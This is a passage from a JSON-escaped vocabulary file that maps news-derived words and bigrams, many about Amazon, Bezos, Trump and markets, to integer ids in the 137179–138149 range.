tabernacle\": 137179,\n  \"org jim\": 137180,\n  \"stipulated\": 137181,\n  \"prevail\": 137182,\n  \"recently nominated\": 137183,\n  \"annexing\": 137184,\n  \"nathaniel\": 137185,\n  \"card businesses\": 137186,\n  \"lisota connected\": 137187,\n  \"reduce innovation\": 137188,\n  \"income north\": 137189,\n  \"drum day\": 137190,\n  \"day john\": 137191,\n  \"markay revealed\": 137192,\n  \"stock availability\": 137193,\n  \"nation critics\": 137194,\n  \"ehealth newsletter\": 137195,\n  \"book penguin\": 137196,\n  \"day period\": 137197,\n  \"rucker\": 137198,\n  \"quake delivery\": 137199,\n  \"today news\": 137200,\n  \"buffett explains\": 137201,\n  \"biggest electoral\": 137202,\n  \"amazon leadership\": 137203,\n  \"avoid financial\": 137204,\n  \"penises\": 137205,\n  \"campaign staffers\": 137206,\n  \"entire\": 137207,\n  \"pharmaceutical distribution\": 137208,\n  \"breaking sweat\": 137209,\n  \"biggie apple\": 137210,\n  \"recallproximic\": 137211,\n  \"lindsay stern\": 137212,\n  \"researcher work\": 137213,\n  \"widespread fear\": 137214,\n  \"million books\": 137215,\n  \"x2x r8\": 137216,\n  \"body politic\": 137217,\n  \"offer boockvar\": 137218,\n  \"johnson financial\": 137219,\n  \"argento\": 137220,\n  \"photo toronto\": 137221,\n  \"enforcement actions\": 137222,\n  \"court trial\": 137223,\n  \"donkeys\": 137224,\n  \"congressmen steve\": 137225,\n  \"hangs\": 137226,\n  \"bezos led\": 137227,\n  \"reflected survey\": 137228,\n  \"offline world\": 137229,\n  \"things happening\": 137230,\n  \"raymond james\": 137231,\n  \"teresa\": 137232,\n  \"doing gasparino\": 137233,\n  \"budget process\": 137234,\n  \"entire process\": 137235,\n  \"company handles\": 137236,\n  \"___ trump\": 137237,\n  \"8217 twitter\": 137238,\n  \"patriots aaron\": 137239,\n  \"lingering aftermath\": 137240,\n  \"welcome cancelkavanugh\": 137241,\n  \"marrying\": 137242,\n  \"emanuel klieger\": 137243,\n  \"matthew shepherd\": 137244,\n  \"challenge 100\": 137245,\n  \"2025 world\": 137246,\n  \"operating margins\": 137247,\n  \"danger according\": 137248,\n  \"shies away\": 137249,\n  \"amazon quantum\": 137250,\n  \"calculation according\": 137251,\n  \"algorithms software\": 137252,\n  \"premieres\": 137253,\n  \"service plan\": 137254,\n  \"681 shares\": 137255,\n  \"suppress damaging\": 137256,\n  \"responsibility csr\": 137257,\n  \"group gartner\": 137258,\n  \"loyalty sold\": 137259,\n  \"pension costs\": 137260,\n  \"theory touches\": 137261,\n  \"entirely possible\": 137262,\n  \"inflict damage\": 137263,\n  \"established procedure\": 137264,\n  \"theft colorado\": 137265,\n  \"getelementbyid containerid\": 137266,\n  \"euro oejeff\": 137267,\n  \"oscars victory\": 137268,\n  \"revenue says\": 137269,\n  \"mandates court\": 137270,\n  \"patient condition\": 137271,\n  \"did conclude\": 137272,\n  \"futures fell\": 137273,\n  \"literal book\": 137274,\n  \"remains unexplained\": 137275,\n  \"generation simply\": 137276,\n  \"announced round\": 137277,\n  \"copies worldwide\\u0430before\": 137278,\n  \"politico report\": 137279,\n  \"single credible\": 137280,\n  \"400 amazon\": 137281,\n  \"weekly hutchinson\": 137282,\n  \"utero\": 137283,\n  \"amzn toyota\": 137284,\n  \"service based\": 137285,\n  \"eli lake\": 137286,\n  \"theft ruling\": 137287,\n  \"implement certain\": 137288,\n  \"immigration bezos\": 137289,\n  \"2018 looking\": 137290,\n  \"yes think\": 137291,\n  \"publishes\": 137292,\n  \"new submarine\": 137293,\n  \"161 shares\": 137294,\n  \"unions fear\": 137295,\n  \"22201\": 137296,\n  \"loses mainly\": 137297,\n  \"located aws\": 137298,\n  \"governor lael\": 137299,\n  \"lower health\": 137300,\n  \"malinowski new\": 137301,\n  \"statute\": 137302,\n  \"website pushing\": 137303,\n  \"bono offer\": 137304,\n  \"programme called\": 137305,\n  \"fight tooth\": 137306,\n  \"opinion sic\": 137307,\n  \"president equates\": 137308,\n  \"nily\": 137309,\n  \"efficiently reach\": 137310,\n  \"effort assembly\": 137311,\n  \"thing digital\": 137312,\n  \"current_video_collection gigyashareelement\": 137313,\n  \"state university\": 137314,\n  \"average returns\": 137315,\n  \"flotation\": 137316,\n  \"replacestate\": 137317,\n  \"officials meeting\": 137318,\n  \"amazon slimy\": 137319,\n  \"debunked\": 137320,\n  \"final trump\": 137321,\n  \"velvet buzzsaw\": 137322,\n  \"best statesmen\": 137323,\n  \"recode want\": 137324,\n  \"fuggedaboutit\": 137325,\n  \"trumpgodking\": 137326,\n  \"bundled internet\": 137327,\n  \"surplus\": 137328,\n  \"committee day\": 137329,\n  \"europe laura\": 137330,\n  \"kenya uganda\": 137331,\n  \"questions directly\": 137332,\n  \"dell\": 137333,\n  \"business cashing\": 137334,\n  \"stone throw\": 137335,\n  \"certainly lose\": 137336,\n  \"million members\": 137337,\n  \"ap tv\": 137338,\n  \"content included\": 137339,\n  \"relations act\": 137340,\n  \"investment opportunity\": 137341,\n  \"crisis grows\": 137342,\n  \"calla\": 137343,\n  \"won impact\": 137344,\n  \"curt schilling\": 137345,\n  \"brien conan\": 137346,\n  \"possible nbc\": 137347,\n  \"world instead\": 137348,\n  \"vulnerability remains\": 137349,\n  \"goldman says\": 137350,\n  \"city bombing\": 137351,\n  \"federal income\": 137352,\n  \"investment principles\": 137353,\n  \"divides dems\": 137354,\n  \"official teaser\": 137355,\n  \"invented new\": 137356,\n  \"chains crumbling\": 137357,\n  \"revolves\": 137358,\n  \"janofsky\": 137359,\n  \"vasquez\": 137360,\n  \"israeli spyware\": 137361,\n  \"mean falling\": 137362,\n  \"maybe anticipating\": 137363,\n  \"bags amazon\": 137364,\n  \"abdullah alomran\": 137365,\n  \"owned stations\": 137366,\n  \"typically bad\": 137367,\n  \"answered joe\": 137368,\n  \"long expansion\": 137369,\n  \"leen\": 137370,\n  \"congressional delegation\": 137371,\n  \"democratic ideals\": 137372,\n  \"attend grenfell\": 137373,\n  \"reinterpretation\": 137374,\n  \"46hrnjigkz\": 137375,\n  \"presses charges\": 137376,\n  \"informed management\": 137377,\n  \"o2x z8\": 137378,\n  \"unflinching look\": 137379,\n  \"various nonprofits\": 137380,\n  \"really believe\": 137381,\n  \"loudenback\": 137382,\n  \"news tip\": 137383,\n  \"world net\": 137384,\n  \"lenard\": 137385,\n  \"military family\": 137386,\n  \"democrats set\": 137387,\n  \"lump\": 137388,\n  \"maker apple\": 137389,\n  \"prosecutor rob\": 137390,\n  \"oprah winfrey\": 137391,\n  \"contemporaneousnotes\": 137392,\n  \"artists\": 137393,\n  \"8chan\": 137394,\n  \"valuator\": 137395,\n  \"deliver alpha\": 137396,\n  \"sackler head\": 137397,\n  \"aws microsoft\": 137398,\n  \"christiansen congress\": 137399,\n  \"dj\": 137400,\n  \"owner paper\": 137401,\n  \"pushes gates\": 137402,\n  \"shifting shadows\": 137403,\n  \"accepting compensation\": 137404,\n  \"sharing moment\": 137405,\n  \"west themed\": 137406,\n  \"california representative\": 137407,\n  \"sears aldi\": 137408,\n  \"development ricardo\": 137409,\n  \"story downtown\": 137410,\n  \"children despite\": 137411,\n  \"nam\": 137412,\n  \"right jim\": 137413,\n  \"significant revenue\": 137414,\n  \"passage city\": 137415,\n  \"suggested restructuring\": 137416,\n  \"completes 255\": 137417,\n  \"wounded soldier\": 137418,\n  \"autumn\": 137419,\n  \"source cnn\": 137420,\n  \"frozen remember\": 137421,\n  \"ongoing navarro\": 137422,\n  \"playlists stories\": 137423,\n  \"contract consideration\": 137424,\n  \"hurricane winds\": 137425,\n  \"trump presumptive\": 137426,\n  \"different politicians\": 137427,\n  \"current trouble\": 137428,\n  \"harvard business\": 137429,\n  \"sued buzzfeed\": 137430,\n  \"included seniors\": 137431,\n  \"leaps\": 137432,\n  \"abercrombie\": 137433,\n  \"goods online\": 137434,\n  \"thomas clees\": 137435,\n  \"story taxpayers\": 137436,\n  \"gradually raising\": 137437,\n  \"technology arguing\": 137438,\n  \"err\": 137439,\n  \"protected environmental\": 137440,\n  \"4_5 ad\": 137441,\n  \"causes\": 137442,\n  \"amazon insists\": 137443,\n  \"house bipartisan\": 137444,\n  \"china key\": 137445,\n  \"gain says\": 137446,\n  \"dependent\": 137447,\n  \"amazon appears\": 137448,\n  \"crime family\": 137449,\n  \"just getting\": 137450,\n  \"big morning\": 137451,\n  \"pennsylvania\": 137452,\n  \"amzn announces\": 137453,\n  \"infested building\": 137454,\n  \"advisory reported\": 137455,\n  \"amazon cancelling\": 137456,\n  \"extent amazon\": 137457,\n  \"oppositional\": 137458,\n  \"monopo smartsheet\": 137459,\n  \"group premier\": 137460,\n  \"experts consulting\": 137461,\n  \"lines ar\": 137462,\n  \"publishing tokyo\": 137463,\n  \"news pbs\": 137464,\n  \"bardella\": 137465,\n  \"house voted\": 137466,\n  \"shopping expert\": 137467,\n  \"automate\": 137468,\n  \"amazon lobbied\": 137469,\n  \"ignore amazon\": 137470,\n  \"activist businesswoman\": 137471,\n  \"acumen trump\": 137472,\n  \"school khan\": 137473,\n  \"ugly behavior\": 137474,\n  \"wall 2019\": 137475,\n  \"___ amazon\": 137476,\n  \"stabilize 2018\": 137477,\n  \"hamburg\": 137478,\n  \"destruction skeptical\": 137479,\n  \"t9x e0\": 137480,\n  \"office donald\": 137481,\n  \"observing minute\": 137482,\n  \"assocs\": 137483,\n  \"organic\": 137484,\n  \"messages naturally\": 137485,\n  \"living antibiotics\": 137486,\n  \"rescue workers\": 137487,\n  \"acquaintance david\": 137488,\n  \"big president\": 137489,\n  \"london court\": 137490,\n  \"tech bull\": 137491,\n  \"cps improve\": 137492,\n  \"class letter\": 137493,\n  \"reportedly calling\": 137494,\n  \"bandar\": 137495,\n  \"callista\": 137496,\n  \"videx\": 137497,\n  \"2018 according\": 137498,\n  \"issuance\": 137499,\n  \"180 day\": 137500,\n  \"hosts resistance\": 137501,\n  \"800 business\": 137502,\n  \"rates soon\": 137503,\n  \"class 2015\": 137504,\n  \"entrepreneur entitled\": 137505,\n  \"correct\": 137506,\n  \"muse inside\": 137507,\n  \"closing stores\": 137508,\n  \"technology necessary\": 137509,\n  \"outlook remains\": 137510,\n  \"high temps\": 137511,\n  \"new measure\": 137512,\n  \"recent antitrust\": 137513,\n  \"huge companies\": 137514,\n  \"company famously\": 137515,\n  \"books chart\": 137516,\n  \"ago changed\": 137517,\n  \"drives people\": 137518,\n  \"encryption data\": 137519,\n  \"china morning\": 137520,\n  \"false information\": 137521,\n  \"journal noted\": 137522,\n  \"weigh reuters\": 137523,\n  \"board chair\": 137524,\n  \"ceo equity\": 137525,\n  \"international allies\": 137526,\n  \"height 439\": 137527,\n  \"campaign colluded\": 137528,\n  \"insider brown\": 137529,\n  \"reports breakthrough\": 137530,\n  \"western innovations\": 137531,\n  \"sotheby\": 137532,\n  \"including offline\": 137533,\n  \"safety commerce\": 137534,\n  \"daily users\": 137535,\n  \"popular support\": 137536,\n  \"pa\": 137537,\n  \"heavy usage\": 137538,\n  \"garden products\": 137539,\n  \"wcs encana\": 137540,\n  \"unnecessary fear\": 137541,\n  \"initially delivered\": 137542,\n  \"lawsuit did\": 137543,\n  \"market real\": 137544,\n  \"flavors beautiful\": 137545,\n  \"trump stands\": 137546,\n  \"generation smart\": 137547,\n  \"signify\": 137548,\n  \"homophobic remarks\": 137549,\n  \"user searches\": 137550,\n  \"doubtlessly anti\": 137551,\n  \"gates initially\": 137552,\n  \"adversely impact\": 137553,\n  \"courts raising\": 137554,\n  \"lawsuit wh\": 137555,\n  \"meghann myers\": 137556,\n  \"political motive\": 137557,\n  \"trajectory inspired\": 137558,\n  \"elizabeth dexheimer\": 137559,\n  \"squishy pods\": 137560,\n  \"recognize israel\": 137561,\n  \"retailer fleet\": 137562,\n  \"campground\": 137563,\n  \"helped defray\": 137564,\n  \"hate groups\": 137565,\n  \"page story\": 137566,\n  \"campaign worth\": 137567,\n  \"resources alas\": 137568,\n  \"delivery cronyism\": 137569,\n  \"meals sold\": 137570,\n  \"major pr\": 137571,\n  \"hack marriott\": 137572,\n  \"nearly 000\": 137573,\n  \"network recent\": 137574,\n  \"265 000\": 137575,\n  \"university posted\": 137576,\n  \"protecting indigenous\": 137577,\n  \"crusty rice\": 137578,\n  \"priscilla chan\": 137579,\n  \"raphael explains\": 137580,\n  \"jeffrey james\": 137581,\n  \"executive clifton\": 137582,\n  \"retail folding\": 137583,\n  \"resolution passes\": 137584,\n  \"tv devices\": 137585,\n  \"popular water\": 137586,\n  \"wasn solely\": 137587,\n  \"certainly going\": 137588,\n  \"wing repeatedly\": 137589,\n  \"utility vehicle\": 137590,\n  \"fb amazon\": 137591,\n  \"castle available\": 137592,\n  \"frankenstein\": 137593,\n  \"stadiums\": 137594,\n  \"club best\": 137595,\n  \"amazon storefronts\": 137596,\n  \"concealing details\": 137597,\n  \"city long\": 137598,\n  \"announcement nears\": 137599,\n  \"chain experience\": 137600,\n  \"wants washington\": 137601,\n  \"farmworkers fair\": 137602,\n  \"globes8 pictures\": 137603,\n  \"instead amazon\": 137604,\n  \"good margins\": 137605,\n  \"page turner\": 137606,\n  \"seasonally\": 137607,\n  \"reason rock\": 137608,\n  \"specific infraction\": 137609,\n  \"week criticizing\": 137610,\n  \"sotheby ceo\": 137611,\n  \"sue drug\": 137612,\n  \"new abortion\": 137613,\n  \"control amazon\": 137614,\n  \"campaign stops\": 137615,\n  \"drumpf\": 137616,\n  \"worship\": 137617,\n  \"coming legal\": 137618,\n  \"enquirer teased\": 137619,\n  \"tide officially\": 137620,\n  \"blames marxist\": 137621,\n  \"lana powell\": 137622,\n  \"open bidding\": 137623,\n  \"ashok\": 137624,\n  \"economy chicago\": 137625,\n  \"major topic\": 137626,\n  \"criticism particularly\": 137627,\n  \"rural residents\": 137628,\n  \"distributed manufacturing\": 137629,\n  \"york time\": 137630,\n  \"expected difficult\": 137631,\n  \"used public\": 137632,\n  \"rost\": 137633,\n  \"gianforte won\": 137634,\n  \"slavishly\": 137635,\n  \"shows thousands\": 137636,\n  \"hypothesis\": 137637,\n  \"considered experts\": 137638,\n  \"scientology founder\": 137639,\n  \"bullseye\": 137640,\n  \"fell apart\": 137641,\n  \"capito member\": 137642,\n  \"challenges paying\": 137643,\n  \"deeply\": 137644,\n  \"washington cape\": 137645,\n  \"wealth inequality\": 137646,\n  \"running\": 137647,\n  \"rivaling\": 137648,\n  \"prevented higher\": 137649,\n  \"chief marketing\": 137650,\n  \"singular fix\": 137651,\n  \"years loopholes\": 137652,\n  \"gucci accusations\": 137653,\n  \"maker ring\": 137654,\n  \"punish political\": 137655,\n  \"losing fortune\": 137656,\n  \"test pilot\": 137657,\n  \"billion despite\": 137658,\n  \"peterson reports\": 137659,\n  \"did publish\": 137660,\n  \"want campaign\": 137661,\n  \"invested money\": 137662,\n  \"grown rapidly\": 137663,\n  \"pediatrics spanking\": 137664,\n  \"schoolyard level\": 137665,\n  \"giant stakes\": 137666,\n  \"enjoyed bounce\": 137667,\n  \"glide excited\": 137668,\n  \"warned buyers\": 137669,\n  \"appointees including\": 137670,\n  \"comment google\": 137671,\n  \"great west\": 137672,\n  \"previews\": 137673,\n  \"military forces\": 137674,\n  \"big wins\": 137675,\n  \"gives trump\": 137676,\n  \"xxxxxxx\": 137677,\n  \"account indicating\": 137678,\n  \"local police\": 137679,\n  \"greens\": 137680,\n  \"latest fed\": 137681,\n  \"premiere tech\": 137682,\n  \"special message\": 137683,\n  \"apocalyptic film\": 137684,\n  \"sparked chaos\": 137685,\n  \"luxembourg unit\": 137686,\n  \"technology violating\": 137687,\n  \"videogame company\": 137688,\n  \"jared taylor\": 137689,\n  \"higher immigration\": 137690,\n  \"california justin\": 137691,\n  \"atlanta mayor\": 137692,\n  \"fiercely denied\": 137693,\n  \"shipping amazon\": 137694,\n  \"equal way\": 137695,\n  \"corporate greed\": 137696,\n  \"helps children\": 137697,\n  \"generalised\": 137698,\n  \"damaged skin\": 137699,\n  \"underpins\": 137700,\n  \"africa president\": 137701,\n  \"experience undeterred\": 137702,\n  \"raised 575\": 137703,\n  \"size large\": 137704,\n  \"000 800\": 137705,\n  \"ministry subordinate\": 137706,\n  \"henry greenberg\": 137707,\n  \"labor minimum\": 137708,\n  \"example landowner\": 137709,\n  \"gop young\": 137710,\n  \"group recently\": 137711,\n  \"sanders joined\": 137712,\n  \"close friends\": 137713,\n  \"hq2 president\": 137714,\n  \"toolbox\": 137715,\n  \"horrifying\": 137716,\n  \"opinion contributors\": 137717,\n  \"updated tonya\": 137718,\n  \"socialist council\": 137719,\n  \"women alleging\": 137720,\n  \"births according\": 137721,\n  \"interactives philo\": 137722,\n  \"financial loss\": 137723,\n  \"housing crises\": 137724,\n  \"continued worries\": 137725,\n  \"doesn impact\": 137726,\n  \"doing good\": 137727,\n  \"rape emergency\": 137728,\n  \"arkansas reporter\": 137729,\n  \"fiction boom\": 137730,\n  \"new cloud\": 137731,\n  \"contract process\": 137732,\n  \"candidate andrew\": 137733,\n  \"office tweeting\": 137734,\n  \"notable instance\": 137735,\n  \"book writing\": 137736,\n  \"generic ignorance\": 137737,\n  \"looks sure\": 137738,\n  \"point liesman\": 137739,\n  \"composer cliff\": 137740,\n  \"schools open\": 137741,\n  \"focused impact\": 137742,\n  \"represent nearly\": 137743,\n  \"contacted amazon\": 137744,\n  \"meet friends\": 137745,\n  \"progeny\": 137746,\n  \"different endings\": 137747,\n  \"faulty facial\": 137748,\n  \"fuzziest\": 137749,\n  \"company chief\": 137750,\n  \"internet marketplaces\": 137751,\n  \"historic visit\": 137752,\n  \"decidedly\": 137753,\n  \"optimization amazon\": 137754,\n  \"spokespeople\": 137755,\n  \"safest web\": 137756,\n  \"undercut amazon\": 137757,\n  \"trump wields\": 137758,\n  \"newsletter registration\": 137759,\n  \"users behaviors\": 137760,\n  \"destitute desperate\": 137761,\n  \"fulks matthew\": 137762,\n  \"collection\": 137763,\n  \"supply service\": 137764,\n  \"escalating trade\": 137765,\n  \"senator schumer\": 137766,\n  \"gaslighted\": 137767,\n  \"sex duckduckgo\": 137768,\n  \"potential providers\": 137769,\n  \"city star\": 137770,\n  \"twitter looking\": 137771,\n  \"campaign node\": 137772,\n  \"publicly touted\": 137773,\n  \"bard college\": 137774,\n  \"2018 hell\": 137775,\n  \"multi carrier\": 137776,\n  \"brazil agricultural\": 137777,\n  \"unpredictable\": 137778,\n  \"seen eye\": 137779,\n  \"ambago\": 137780,\n  \"press cnn\": 137781,\n  \"publishers struggling\": 137782,\n  \"saudi investments\": 137783,\n  \"locking horns\": 137784,\n  \"gains grow\": 137785,\n  \"accounting standards\": 137786,\n  \"pending litigation\": 137787,\n  \"profit forecast\": 137788,\n  \"create billions\": 137789,\n  \"executive produced\": 137790,\n  \"foils\": 137791,\n  \"james cohen\": 137792,\n  \"2007 pirro\": 137793,\n  \"reelected\": 137794,\n  \"protecting customers\": 137795,\n  \"forget formula\": 137796,\n  \"support quickly\": 137797,\n  \"ubhi crony\": 137798,\n  \"millionaire 2018\": 137799,\n  \"walmart executive\": 137800,\n  \"authorities won\": 137801,\n  \"hoffman artful\": 137802,\n  \"diego based\": 137803,\n  \"occupation\": 137804,\n  \"post rachel\": 137805,\n  \"biddle\": 137806,\n  \"financial security\": 137807,\n  \"craft beer\": 137808,\n  \"postal hike\": 137809,\n  \"incentivize amazon\": 137810,\n  \"class men\": 137811,\n  \"newsgathering organization\": 137812,\n  \"arabian led\": 137813,\n  \"annoyance\": 137814,\n  \"recharge rapidly\": 137815,\n  \"previously leaked\": 137816,\n  \"laurene\": 137817,\n  \"amazon roughly\": 137818,\n  \"church endless\": 137819,\n  \"lover sold\": 137820,\n  \"2016 atlantic\": 137821,\n  \"highlander grog\": 137822,\n  \"states attack\": 137823,\n  \"stacey pheffer\": 137824,\n  \"lives bezos\": 137825,\n  \"just yesterday\": 137826,\n  \"mean dividing\": 137827,\n  \"pera netflix\": 137828,\n  \"stevens jimmy\": 137829,\n  \"organised regular\": 137830,\n  \"human costs\": 137831,\n  \"teenagers staged\": 137832,\n  \"supported bringing\": 137833,\n  \"tilted\": 137834,\n  \"important implications\": 137835,\n  \"fernholz people\": 137836,\n  \"diminishing base\": 137837,\n  \"bezos suddenly\": 137838,\n  \"commerce rivals\": 137839,\n  \"twitter billion\": 137840,\n  \"microgravity\": 137841,\n  \"facebook stock\": 137842,\n  \"reportedly resisted\": 137843,\n  \"assassinate\": 137844,\n  \"posted revenue\": 137845,\n  \"deal linked\": 137846,\n  \"seattle san\": 137847,\n  \"banning binge\": 137848,\n  \"assuming amazon\": 137849,\n  \"annual developer\": 137850,\n  \"schwarzenegger wants\": 137851,\n  \"nutjob charles\": 137852,\n  \"rodrigo catril\": 137853,\n  \"tables photo\": 137854,\n  \"homecoming\": 137855,\n  \"business crisis\": 137856,\n  \"sharpest\": 137857,\n  \"bpa\": 137858,\n  \"latest chapter\": 137859,\n  \"amazon announcement\": 137860,\n  \"unresolved complaints\": 137861,\n  \"lean margins\": 137862,\n  \"collapse people\": 137863,\n  \"gossip\": 137864,\n  \"republican steve\": 137865,\n  \"bush described\": 137866,\n  \"kristen east\": 137867,\n  \"services wins\": 137868,\n  \"dr michael\": 137869,\n  \"officially tomorrow\": 137870,\n  \"joanna\": 137871,\n  \"island question\": 137872,\n  \"nir nissim\": 137873,\n  \"company rep\": 137874,\n  \"skiing pinturault\": 137875,\n  \"shelton\": 137876,\n  \"havlin vineyards\": 137877,\n  \"act repealing\": 137878,\n  \"obvious question\": 137879,\n  \"launch alexa\": 137880,\n  \"moaning\": 137881,\n  \"bezos topped\": 137882,\n  \"introduced prime\": 137883,\n  \"calhoun geekwire\": 137884,\n  \"erases\": 137885,\n  \"charles koch\": 137886,\n  \"grinding week\": 137887,\n  \"japan europe\": 137888,\n  \"mohammed bin\": 137889,\n  \"17532188\": 137890,\n  \"os billion\": 137891,\n  \"considers bulk\": 137892,\n  \"episode dramedy\": 137893,\n  \"cartel ascent\": 137894,\n  \"ultimate loser\": 137895,\n  \"today uber\": 137896,\n  \"inauthentic\": 137897,\n  \"butcher\": 137898,\n  \"revenues boosted\": 137899,\n  \"unsheltered\": 137900,\n  \"tonight riveting\": 137901,\n  \"california employees\": 137902,\n  \"interests editors\": 137903,\n  \"cnbc bezos\": 137904,\n  \"permanent including\": 137905,\n  \"catherine steadman\": 137906,\n  \"internal metrics\": 137907,\n  \"community today\": 137908,\n  \"insult donald\": 137909,\n  \"represented whopping\": 137910,\n  \"movie movie\": 137911,\n  \"senate particularly\": 137912,\n  \"question mark\": 137913,\n  \"say helps\": 137914,\n  \"positive experiences\": 137915,\n  \"2004 green\": 137916,\n  \"loves dictators\": 137917,\n  \"sherry\": 137918,\n  \"deporting record\": 137919,\n  \"political tour\": 137920,\n  \"building partnerships\": 137921,\n  \"vt\": 137922,\n  \"todd harrison\": 137923,\n  \"world democracy\": 137924,\n  \"bellecapital\": 137925,\n  \"demo\": 137926,\n  \"plowing\": 137927,\n  \"slashed royalties\": 137928,\n  \"special starts\": 137929,\n  \"aetna\": 137930,\n  \"alleged emails\": 137931,\n  \"company felt\": 137932,\n  \"intersectionality read\": 137933,\n  \"tm mark\": 137934,\n  \"tsvetana\": 137935,\n  \"video iceland\": 137936,\n  \"article share\": 137937,\n  \"reporters gain\": 137938,\n  \"reductions goals\": 137939,\n  \"rahel solomon\": 137940,\n  \"suspicious accounts\": 137941,\n  \"revenue accused\": 137942,\n  \"spent year\": 137943,\n  \"tonight diana\": 137944,\n  \"multiple newspapers\": 137945,\n  \"preferred solution\": 137946,\n  \"android os\": 137947,\n  \"tour new\": 137948,\n  \"lies hotstar\": 137949,\n  \"expect\": 137950,\n  \"took things\": 137951,\n  \"false containerel\": 137952,\n  \"fellow house\": 137953,\n  \"unattractive\": 137954,\n  \"ir presentations\": 137955,\n  \"favorite general\": 137956,\n  \"leclair\": 137957,\n  \"vmware amzn\": 137958,\n  \"farmlands\": 137959,\n  \"upload\": 137960,\n  \"transparency inadequate\": 137961,\n  \"pub\": 137962,\n  \"observers sinclair\": 137963,\n  \"heck\": 137964,\n  \"achieving\": 137965,\n  \"janaki chadha\": 137966,\n  \"thing additionally\": 137967,\n  \"nyt building\": 137968,\n  \"government intervention\": 137969,\n  \"legendary designer\": 137970,\n  \"illion\": 137971,\n  \"breitbart news\": 137972,\n  \"public post\": 137973,\n  \"information button\": 137974,\n  \"manufacturing farming\": 137975,\n  \"john boyne\": 137976,\n  \"typically bought\": 137977,\n  \"bramer new\": 137978,\n  \"survived\": 137979,\n  \"culture amazon\": 137980,\n  \"truth great\": 137981,\n  \"attacks judiciary\": 137982,\n  \"increasingly salty\": 137983,\n  \"mar\\u00eda\": 137984,\n  \"cords\": 137985,\n  \"perpetrated\": 137986,\n  \"benefits amzn\": 137987,\n  \"reached milestone\": 137988,\n  \"xvi\": 137989,\n  \"saying want\": 137990,\n  \"manager bruce\": 137991,\n  \"house app\": 137992,\n  \"push reutersmedia\": 137993,\n  \"stocks bonds\": 137994,\n  \"date including\": 137995,\n  \"rage shooting\": 137996,\n  \"billion android\": 137997,\n  \"holy\": 137998,\n  \"organisation\": 137999,\n  \"elizabeth goitein\": 138000,\n  \"similarly spin\": 138001,\n  \"lose cable\": 138002,\n  \"instead robinhood\": 138003,\n  \"commerzbank\": 138004,\n  \"delegating\": 138005,\n  \"silence media\": 138006,\n  \"dylan maxwell\": 138007,\n  \"platform spent\": 138008,\n  \"fx index\": 138009,\n  \"won cloud\": 138010,\n  \"committee hearing\": 138011,\n  \"innovator stiffler\": 138012,\n  \"lawrence jones\": 138013,\n  \"using cell\": 138014,\n  \"know search\": 138015,\n  \"cortez suggests\": 138016,\n  \"market nyt\": 138017,\n  \"services fedex\": 138018,\n  \"mama bear\": 138019,\n  \"destroys malls\": 138020,\n  \"exciting right\": 138021,\n  \"unlikely\": 138022,\n  \"american prospect\": 138023,\n  \"federal market\": 138024,\n  \"source washpost\": 138025,\n  \"borrow\": 138026,\n  \"allow parents\": 138027,\n  \"ofdefense\": 138028,\n  \"amazon companies\": 138029,\n  \"0408et copyright\": 138030,\n  \"oysters\": 138031,\n  \"nyc taxi\": 138032,\n  \"major wage\": 138033,\n  \"hume\": 138034,\n  \"gained tk\": 138035,\n  \"tax increment\": 138036,\n  \"float price\": 138037,\n  \"hospitality company\": 138038,\n  \"products focusing\": 138039,\n  \"overconfidence\": 138040,\n  \"607 surveyed\": 138041,\n  \"inventors stacy\": 138042,\n  \"thomson preparing\": 138043,\n  \"ran public\": 138044,\n  \"climate risks\": 138045,\n  \"lack traditional\": 138046,\n  \"scattering information\": 138047,\n  \"topo\": 138048,\n  \"preview love\": 138049,\n  \"takeaways bezos\": 138050,\n  \"officer deap\": 138051,\n  \"mztxyl0jaf adam\": 138052,\n  \"golf courses\": 138053,\n  \"ssml\": 138054,\n  \"privacy economic\": 138055,\n  \"department doing\": 138056,\n  \"829 residents\": 138057,\n  \"amazon critics\": 138058,\n  \"smash racism\": 138059,\n  \"james davenport\": 138060,\n  \"nyt reported\": 138061,\n  \"war institute\": 138062,\n  \"post philip\": 138063,\n  \"world seen\": 138064,\n  \"real life\": 138065,\n  \"california offices\": 138066,\n  \"damaging information\": 138067,\n  \"illinois\": 138068,\n  \"exclusive private\": 138069,\n  \"gas box\": 138070,\n  \"mackenzie read\": 138071,\n  \"rebecca rainey\": 138072,\n  \"syrian president\": 138073,\n  \"woman shot\": 138074,\n  \"tweet days\": 138075,\n  \"councilwoman\": 138076,\n  \"sweep\": 138077,\n  \"ideological spectrum\": 138078,\n  \"publicly blew\": 138079,\n  \"github service\": 138080,\n  \"knighthood nickname\": 138081,\n  \"essentially monopolies\": 138082,\n  \"hallum\": 138083,\n  \"humane\": 138084,\n  \"post appeared\": 138085,\n  \"considered close\": 138086,\n  \"surprise given\": 138087,\n  \"eilllng3bh arthur\": 138088,\n  \"writer mackenzie\": 138089,\n  \"average american\": 138090,\n  \"billion holiday\": 138091,\n  \"trillion microsoft\": 138092,\n  \"aftrekposten foto\": 138093,\n  \"mission assignments\": 138094,\n  \"products letters\": 138095,\n  \"citythe\": 138096,\n  \"future negotiations\": 138097,\n  \"war campaign\": 138098,\n  \"doubtlessly\": 138099,\n  \"media falls\": 138100,\n  \"focus cisco\": 138101,\n  \"ceo doug\": 138102,\n  \"jobs critics\": 138103,\n  \"potentially affected\": 138104,\n  \"unprovable speculation\": 138105,\n  \"hetmyer gayle\": 138106,\n  \"minimum requirement\": 138107,\n  \"marjorie\": 138108,\n  \"review watchdogs\": 138109,\n  \"patient conversation\": 138110,\n  \"2xvkay2gyo\": 138111,\n  \"a380 anymore\": 138112,\n  \"fee increase\": 138113,\n  \"involve bit\": 138114,\n  \"big 2020\": 138115,\n  \"wells\": 138116,\n  \"stamp later\": 138117,\n  \"false sexual\": 138118,\n  \"dsaster\": 138119,\n  \"expect light\": 138120,\n  \"talented democrats\": 138121,\n  \"lachman\": 138122,\n  \"government bureaucracy\": 138123,\n  \"livestreaming service\": 138124,\n  \"unserious money\": 138125,\n  \"publication trump\": 138126,\n  \"enemies looking\": 138127,\n  \"including distribution\": 138128,\n  \"delong special\": 138129,\n  \"consulted\": 138130,\n  \"intentional jab\": 138131,\n  \"regressive fee\": 138132,\n  \"administration finalizes\": 138133,\n  \"card pay\": 138134,\n  \"sold single\": 138135,\n  \"international intrigue\": 138136,\n  \"wonky\": 138137,\n  \"campaign filings\": 138138,\n  \"federal records\": 138139,\n  \"rolls royce\": 138140,\n  \"stocks trade\": 138141,\n  \"tie roma\": 138142,\n  \"holness\": 138143,\n  \"carolina hillbilly\": 138144,\n  \"vote truly\": 138145,\n  \"taxpayers union\": 138146,\n  \"continue reuters\": 138147,\n  \"operates 600\": 138148,\n  \"dame women\": 138149,\n  \"cruz 